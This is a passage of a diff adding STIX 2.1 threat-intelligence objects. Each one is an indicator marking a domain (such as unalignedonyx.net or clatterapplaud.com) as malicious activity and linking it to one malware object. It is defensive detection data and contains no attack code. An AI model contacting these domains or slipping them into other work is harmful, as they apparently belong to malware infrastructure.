"indicator", + "spec_version": "2.1", + "id": "indicator--6d24695e-5f49-4740-bfbf-0f583c85b7d6", + "created": "2023-03-29T12:58:44.902861Z", + "modified": "2023-03-29T12:58:44.902861Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unalignedonyx.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.902861Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8799c2f8-c330-4dc9-a135-49ee7ef8ca80", + "created": "2023-03-29T12:58:44.90345Z", + "modified": "2023-03-29T12:58:44.90345Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d24695e-5f49-4740-bfbf-0f583c85b7d6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8db99f58-63d9-46b7-b913-165d51699525", + "created": "2023-03-29T12:58:44.903618Z", + "modified": "2023-03-29T12:58:44.903618Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='clatterapplaud.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.903618Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07aa4527-fb6f-4627-9d46-18e48b7f6d46", + "created": "2023-03-29T12:58:44.904238Z", + "modified": "2023-03-29T12:58:44.904238Z", + "relationship_type": "indicates", + "source_ref": "indicator--8db99f58-63d9-46b7-b913-165d51699525", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4060abd4-44f4-4000-94be-2d054229d948", + "created": "2023-03-29T12:58:44.904412Z", + "modified": "2023-03-29T12:58:44.904412Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lightbreak.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.904412Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a1b8d434-4b9d-44aa-ba05-1de5ab3fa2f7", + "created": "2023-03-29T12:58:44.904997Z", + "modified": "2023-03-29T12:58:44.904997Z", + "relationship_type": "indicates", + "source_ref": "indicator--4060abd4-44f4-4000-94be-2d054229d948", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c3afe55f-b078-49fc-a946-06dde2df0664", + "created": "2023-03-29T12:58:44.905164Z", + "modified": "2023-03-29T12:58:44.905164Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='settlechapter.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.905164Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8802aa80-7149-4812-864e-c3c8348ceb99", + "created": "2023-03-29T12:58:44.905765Z", + "modified": "2023-03-29T12:58:44.905765Z", + "relationship_type": "indicates", + "source_ref": "indicator--c3afe55f-b078-49fc-a946-06dde2df0664", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce8b575f-a40d-47a5-a35a-32f790629df5", + "created": "2023-03-29T12:58:44.905933Z", + "modified": "2023-03-29T12:58:44.905933Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bullseyebuffing.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.905933Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bc63a209-a514-41c0-9898-515bbc508c83", + "created": "2023-03-29T12:58:44.906525Z", + "modified": "2023-03-29T12:58:44.906525Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce8b575f-a40d-47a5-a35a-32f790629df5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f31110fb-3755-4eff-96a9-e8a2e66f7d3c", + "created": "2023-03-29T12:58:44.906699Z", + "modified": "2023-03-29T12:58:44.906699Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='discardchop.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.906699Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--929e3c7b-9372-45eb-8ba0-579a47b02587", + "created": "2023-03-29T12:58:44.907288Z", + "modified": "2023-03-29T12:58:44.907288Z", + "relationship_type": "indicates", + "source_ref": "indicator--f31110fb-3755-4eff-96a9-e8a2e66f7d3c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--08b7c38a-bcd9-4170-8fb0-c84939919ede", + "created": "2023-03-29T12:58:44.90746Z", + "modified": "2023-03-29T12:58:44.90746Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='earringcolony.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.90746Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4b30c3f1-611a-4f1a-a310-da90f87e16e0", + "created": "2023-03-29T12:58:44.908188Z", + "modified": "2023-03-29T12:58:44.908188Z", + "relationship_type": "indicates", + "source_ref": "indicator--08b7c38a-bcd9-4170-8fb0-c84939919ede", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b2f3c814-721b-431c-93a6-683f5c0b289c", + "created": "2023-03-29T12:58:44.908361Z", + "modified": "2023-03-29T12:58:44.908361Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bluerush.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.908361Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--106d27e0-9928-4f54-96f7-a02bc6a92589", + "created": "2023-03-29T12:58:44.908944Z", + "modified": "2023-03-29T12:58:44.908944Z", + "relationship_type": "indicates", + "source_ref": "indicator--b2f3c814-721b-431c-93a6-683f5c0b289c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7b4e0bae-b9fb-4e71-84dd-5478cf7be799", + "created": "2023-03-29T12:58:44.90911Z", + "modified": "2023-03-29T12:58:44.90911Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='climateyo-yo.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.90911Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b099443-7833-42c7-8300-90df0c51d867", + "created": "2023-03-29T12:58:44.909699Z", + "modified": "2023-03-29T12:58:44.909699Z", + "relationship_type": "indicates", + "source_ref": "indicator--7b4e0bae-b9fb-4e71-84dd-5478cf7be799", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--57c64b03-cf0b-4c3c-9a7b-44cf38f6119d", + "created": "2023-03-29T12:58:44.909867Z", + "modified": "2023-03-29T12:58:44.909867Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='manholegeology.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.909867Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d6cc0c4c-c972-4afe-a1e5-06eba169fa81", + "created": "2023-03-29T12:58:44.910456Z", + "modified": "2023-03-29T12:58:44.910456Z", + "relationship_type": "indicates", + "source_ref": "indicator--57c64b03-cf0b-4c3c-9a7b-44cf38f6119d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--072cf376-97a8-4165-ab1b-00d88913e152", + "created": "2023-03-29T12:58:44.910624Z", + "modified": "2023-03-29T12:58:44.910624Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kingparty.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.910624Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--390b03d2-dca5-41ff-9a00-6b1bbcc15a70", + "created": "2023-03-29T12:58:44.911214Z", + "modified": "2023-03-29T12:58:44.911214Z", + "relationship_type": "indicates", + "source_ref": "indicator--072cf376-97a8-4165-ab1b-00d88913e152", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fa371fdc-36a9-4374-aaea-488cc8a835bb", + "created": "2023-03-29T12:58:44.911382Z", + "modified": "2023-03-29T12:58:44.911382Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='patientunmarked.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.911382Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ee630519-c9c5-4500-8ee0-a7faff67b962", + "created": "2023-03-29T12:58:44.911978Z", + "modified": "2023-03-29T12:58:44.911978Z", + "relationship_type": "indicates", + "source_ref": "indicator--fa371fdc-36a9-4374-aaea-488cc8a835bb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f01ef660-b918-4a24-9e2b-fd6f0685cdc6", + "created": "2023-03-29T12:58:44.912145Z", + "modified": "2023-03-29T12:58:44.912145Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='swamplandauthor.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.912145Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--41a38b41-4b06-40bb-8456-978568f6803d", + "created": "2023-03-29T12:58:44.912735Z", + "modified": "2023-03-29T12:58:44.912735Z", + "relationship_type": "indicates", + "source_ref": "indicator--f01ef660-b918-4a24-9e2b-fd6f0685cdc6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dca8fbb4-1422-4606-b23c-a8fdb299f3c1", + "created": "2023-03-29T12:58:44.912903Z", + "modified": "2023-03-29T12:58:44.912903Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='untrimmedscrubber.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.912903Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7a071103-50cc-451e-9d79-a7d6c8fc0040", + "created": "2023-03-29T12:58:44.913501Z", + "modified": "2023-03-29T12:58:44.913501Z", + "relationship_type": "indicates", + "source_ref": "indicator--dca8fbb4-1422-4606-b23c-a8fdb299f3c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d344ce06-899d-419a-81c6-fe7b3da5ecb1", + "created": "2023-03-29T12:58:44.913674Z", + "modified": "2023-03-29T12:58:44.913674Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enrichunlocked.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.913674Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dacdccab-7680-4108-a763-2898a01ba907", + "created": "2023-03-29T12:58:44.914267Z", + "modified": "2023-03-29T12:58:44.914267Z", + "relationship_type": "indicates", + "source_ref": "indicator--d344ce06-899d-419a-81c6-fe7b3da5ecb1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--261a647d-e894-41fe-a31b-095d107de401", + "created": "2023-03-29T12:58:44.914435Z", + "modified": "2023-03-29T12:58:44.914435Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='annuityguts.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.914435Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b6eed984-1e69-44bc-b147-873a04b2c910", + "created": "2023-03-29T12:58:44.915131Z", + "modified": "2023-03-29T12:58:44.915131Z", + "relationship_type": "indicates", + "source_ref": "indicator--261a647d-e894-41fe-a31b-095d107de401", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--00f5ebe2-b922-4419-b19d-e7269937eac4", + "created": "2023-03-29T12:58:44.915303Z", + "modified": "2023-03-29T12:58:44.915303Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shadinessbudding.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.915303Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--875dbd34-6831-410f-b213-9dc12573a829", + "created": "2023-03-29T12:58:44.915902Z", + "modified": "2023-03-29T12:58:44.915902Z", + "relationship_type": "indicates", + "source_ref": "indicator--00f5ebe2-b922-4419-b19d-e7269937eac4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c2bea70e-8278-4dcd-b3ea-ea41dac51173", + "created": "2023-03-29T12:58:44.916071Z", + "modified": "2023-03-29T12:58:44.916071Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lonemask.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.916071Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3e1bab60-a114-4871-bc2b-388886934891", + "created": "2023-03-29T12:58:44.916654Z", + "modified": "2023-03-29T12:58:44.916654Z", + "relationship_type": "indicates", + "source_ref": "indicator--c2bea70e-8278-4dcd-b3ea-ea41dac51173", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b60e9ec-4b0f-484d-aa69-b5cd0f2d686f", + "created": "2023-03-29T12:58:44.916827Z", + "modified": "2023-03-29T12:58:44.916827Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='rackvaliant.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.916827Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--30fdce58-9995-4db9-ab30-c42bebcd1140", + "created": "2023-03-29T12:58:44.917419Z", + "modified": "2023-03-29T12:58:44.917419Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b60e9ec-4b0f-484d-aa69-b5cd0f2d686f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--aa8c580f-e4fa-4b9b-89a9-61e5b736200f", + "created": "2023-03-29T12:58:44.917591Z", + "modified": "2023-03-29T12:58:44.917591Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='overlookannex.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.917591Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e3b6bd63-2e64-4de9-9ea8-0a964a7633cb", + "created": "2023-03-29T12:58:44.918183Z", + "modified": "2023-03-29T12:58:44.918183Z", + "relationship_type": "indicates", + "source_ref": "indicator--aa8c580f-e4fa-4b9b-89a9-61e5b736200f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7355c6c3-b1fc-4331-b9dd-064c52b4f6c4", + "created": "2023-03-29T12:58:44.91835Z", + "modified": "2023-03-29T12:58:44.91835Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='silvermart.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.91835Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cee13af6-8bb4-4202-9d7d-8410af2b3146", + "created": "2023-03-29T12:58:44.918933Z", + "modified": "2023-03-29T12:58:44.918933Z", + "relationship_type": "indicates", + "source_ref": "indicator--7355c6c3-b1fc-4331-b9dd-064c52b4f6c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7049cd2a-eaf5-4d9b-8b6e-3d98ff9ee5e7", + "created": "2023-03-29T12:58:44.9191Z", + "modified": "2023-03-29T12:58:44.9191Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='alumnipolar.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.9191Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--65071121-cbef-425d-a21a-fa26f64c37ed", + "created": "2023-03-29T12:58:44.919691Z", + "modified": "2023-03-29T12:58:44.919691Z", + "relationship_type": "indicates", + "source_ref": "indicator--7049cd2a-eaf5-4d9b-8b6e-3d98ff9ee5e7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0a5d0fb7-2544-4d23-942c-f0bf2a0ef51c", + "created": "2023-03-29T12:58:44.919858Z", + "modified": "2023-03-29T12:58:44.919858Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='masterprogetti.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.919858Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--33e4a050-fcd6-44f6-bbe4-31f19c6a0576", + "created": "2023-03-29T12:58:44.920448Z", + "modified": "2023-03-29T12:58:44.920448Z", + "relationship_type": "indicates", + "source_ref": "indicator--0a5d0fb7-2544-4d23-942c-f0bf2a0ef51c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9b3f1028-0a76-4e0c-a75b-4046a6946844", + "created": "2023-03-29T12:58:44.920619Z", + "modified": "2023-03-29T12:58:44.920619Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='routinebarber.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.920619Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9853d3cd-75bd-4516-ab55-ea215383dba7", + "created": "2023-03-29T12:58:44.92121Z", + "modified": "2023-03-29T12:58:44.92121Z", + "relationship_type": "indicates", + "source_ref": "indicator--9b3f1028-0a76-4e0c-a75b-4046a6946844", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--79146976-ff32-4cbf-8e84-dcc2a4b6116f", + "created": "2023-03-29T12:58:44.921377Z", + "modified": "2023-03-29T12:58:44.921377Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='supergluetask.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.921377Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--75b20453-b0d3-411d-85b7-ea8bcd38f00b", + "created": "2023-03-29T12:58:44.922086Z", + "modified": "2023-03-29T12:58:44.922086Z", + "relationship_type": "indicates", + "source_ref": "indicator--79146976-ff32-4cbf-8e84-dcc2a4b6116f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--75b73a5e-d1c7-4577-98ab-c8d8ffbe6d41", + "created": "2023-03-29T12:58:44.922259Z", + "modified": "2023-03-29T12:58:44.922259Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guiserejoice.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.922259Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dafebe95-f66b-4165-ac72-cdef8c9f0d8c", + "created": "2023-03-29T12:58:44.922848Z", + "modified": "2023-03-29T12:58:44.922848Z", + "relationship_type": "indicates", + "source_ref": "indicator--75b73a5e-d1c7-4577-98ab-c8d8ffbe6d41", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--15c8951e-ee9e-4f67-9c51-ca934716923f", + "created": "2023-03-29T12:58:44.923016Z", + "modified": "2023-03-29T12:58:44.923016Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='breechesgem.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.923016Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9f64eca7-1aa2-411b-98a0-a6694c1c47f3", + "created": "2023-03-29T12:58:44.923605Z", + "modified": "2023-03-29T12:58:44.923605Z", + "relationship_type": "indicates", + "source_ref": "indicator--15c8951e-ee9e-4f67-9c51-ca934716923f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d578d48a-c0f9-4e5d-b5d1-1aee01d039b6", + "created": "2023-03-29T12:58:44.923773Z", + "modified": "2023-03-29T12:58:44.923773Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='fishlight.nl']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.923773Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0213bdf0-0e75-43e8-a8a4-0447420622f3", + "created": "2023-03-29T12:58:44.924358Z", + "modified": "2023-03-29T12:58:44.924358Z", + "relationship_type": "indicates", + "source_ref": "indicator--d578d48a-c0f9-4e5d-b5d1-1aee01d039b6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--302234ff-1f17-4fba-a321-ddd3d3b27fe8", + "created": "2023-03-29T12:58:44.924527Z", + "modified": "2023-03-29T12:58:44.924527Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cratespray.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.924527Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ce65e46-157b-41f3-bd5d-b77f304a08cf", + "created": "2023-03-29T12:58:44.925119Z", + "modified": "2023-03-29T12:58:44.925119Z", + "relationship_type": "indicates", + "source_ref": "indicator--302234ff-1f17-4fba-a321-ddd3d3b27fe8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--98ae1b21-922a-4729-8113-cd39df987b01", + "created": "2023-03-29T12:58:44.925286Z", + "modified": "2023-03-29T12:58:44.925286Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='searchonmania.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.925286Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a0c1ed69-19d2-4379-94b3-ffdb1a68d4a3", + "created": "2023-03-29T12:58:44.925876Z", + "modified": "2023-03-29T12:58:44.925876Z", + "relationship_type": "indicates", + "source_ref": "indicator--98ae1b21-922a-4729-8113-cd39df987b01", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e3c18ec6-87f1-4a06-a54c-ae5e40fb8115", + "created": "2023-03-29T12:58:44.926044Z", + "modified": "2023-03-29T12:58:44.926044Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outsidersmog.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.926044Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--073a6aae-4ae9-49e6-b0b3-e2a29b2291f7", + "created": "2023-03-29T12:58:44.92663Z", + "modified": "2023-03-29T12:58:44.92663Z", + "relationship_type": "indicates", + "source_ref": "indicator--e3c18ec6-87f1-4a06-a54c-ae5e40fb8115", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c31f47fd-208a-4869-97f9-c91ac74a004e", + "created": "2023-03-29T12:58:44.9268Z", + "modified": "2023-03-29T12:58:44.9268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='cartloadporthole.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.9268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c0c1d704-88ad-4c3c-bc73-5c2d00a45338", + "created": "2023-03-29T12:58:44.927402Z", + "modified": "2023-03-29T12:58:44.927402Z", + "relationship_type": "indicates", + "source_ref": "indicator--c31f47fd-208a-4869-97f9-c91ac74a004e", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42eb7410-bb97-4779-84b4-3574b0c35fb4", + "created": "2023-03-29T12:58:44.927571Z", + "modified": "2023-03-29T12:58:44.927571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='my-tempo.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.927571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--07c3e09b-8657-41c4-b949-e724ac363acc", + "created": "2023-03-29T12:58:44.928159Z", + "modified": "2023-03-29T12:58:44.928159Z", + "relationship_type": "indicates", + "source_ref": "indicator--42eb7410-bb97-4779-84b4-3574b0c35fb4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42631d93-e2b3-4af8-bc00-99db7d17a0c4", + "created": "2023-03-29T12:58:44.928328Z", + "modified": "2023-03-29T12:58:44.928328Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='projectorunburned.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.928328Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5bb776c5-db64-417d-82fa-2348441bbd5c", + "created": "2023-03-29T12:58:44.929031Z", + "modified": "2023-03-29T12:58:44.929031Z", + "relationship_type": "indicates", + "source_ref": "indicator--42631d93-e2b3-4af8-bc00-99db7d17a0c4", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--634b4cb9-9a4d-4b20-ae63-1b1642a53e01", + "created": "2023-03-29T12:58:44.929203Z", + "modified": "2023-03-29T12:58:44.929203Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='storagename.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.929203Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3d082fe7-744d-490f-a353-7bb60d7dc6d2", + "created": "2023-03-29T12:58:44.929802Z", + "modified": "2023-03-29T12:58:44.929802Z", + "relationship_type": "indicates", + "source_ref": "indicator--634b4cb9-9a4d-4b20-ae63-1b1642a53e01", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--eb9c0ec2-c83b-4741-9ee1-0654bce192ac", + "created": "2023-03-29T12:58:44.92997Z", + "modified": "2023-03-29T12:58:44.92997Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sacramentanswering.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.92997Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8d6d924f-531f-4fb1-a90a-ae9532c66acf", + "created": "2023-03-29T12:58:44.930566Z", + "modified": "2023-03-29T12:58:44.930566Z", + "relationship_type": "indicates", + "source_ref": "indicator--eb9c0ec2-c83b-4741-9ee1-0654bce192ac", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--689a2067-2188-42df-b50f-3d3ef9ee2b96", + "created": "2023-03-29T12:58:44.930734Z", + "modified": "2023-03-29T12:58:44.930734Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='joystickboundless.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.930734Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--633967ae-cd60-44d5-8ab4-1aac7f5dfa44", + "created": "2023-03-29T12:58:44.931329Z", + "modified": "2023-03-29T12:58:44.931329Z", + "relationship_type": "indicates", + "source_ref": 